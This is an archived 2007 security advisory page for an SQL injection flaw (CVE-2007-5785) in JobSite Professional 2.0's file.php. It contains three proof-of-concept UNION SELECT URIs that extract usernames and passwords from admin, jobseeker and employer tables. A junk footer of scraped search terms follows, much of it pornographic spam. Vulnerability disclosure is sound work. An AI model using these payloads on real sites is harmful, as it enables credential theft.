about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive Talk

exploits , vulnerabilities , articles , JobSite Professional File.PHP SQL injection Vulnerability


Title JobSite Professional File.PHP SQL injection Vulnerability
Published 2007-10-29-12:00AM
Updated 2007-11-15-12:40AM
Class Input Validation Error
CVE   CVE-2007-5785
Remote  Yes
Local  No
Credit  ZynbER is credited with the discovery of this vulnerability.
Vulnerable  NetArt Media JobSite Professional 2.0
Not Vulnerable  
Code  Attackers can use a browser to exploit this issue.The following proof-of-concept URIs are available:http://www.example.com.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+www.example.comadmin_admin_users/*
http://www.example.com.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+www.example.comadmin_ext_jobseekers/*
http://www.example.com.com/file.php?id=-1+UNION+SELECT+1,2,PASSWORD,4,CONCAT(USERNAME,CHAR(46,116,120,116)),6,7,8+FROM+www.example.comadmin_ext_employers/*
TXT  t3xt 1t!


Advertising

Copyright 2007, SecurityDot
Sat, 22 Nov 2008 21:51:06 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
guestbook+ shat sex a DAILYINDIA Anal video t706t Shakila se search/exp free porn sex xxl mo russian se Movies.sex /search/ex news+for+C mambo Remo opencart free porn kernel 2.4 Movies.sex blue coat www.sex.ch casting all cartoo sexy iran Www.Thrish Sexy girls Ayu azhari CMS is Fre Realitykin reshma ker port 50 www.wapfor desipapa c PHP click CMSimple suse explo xnxx 89 co Sabdrimer picture pl Realitykin Web Server sxsey Hot babbes t414t Videoseks hugewomen. show file Www.sahara all cartoo 2.6.19 r00 CMS is Fre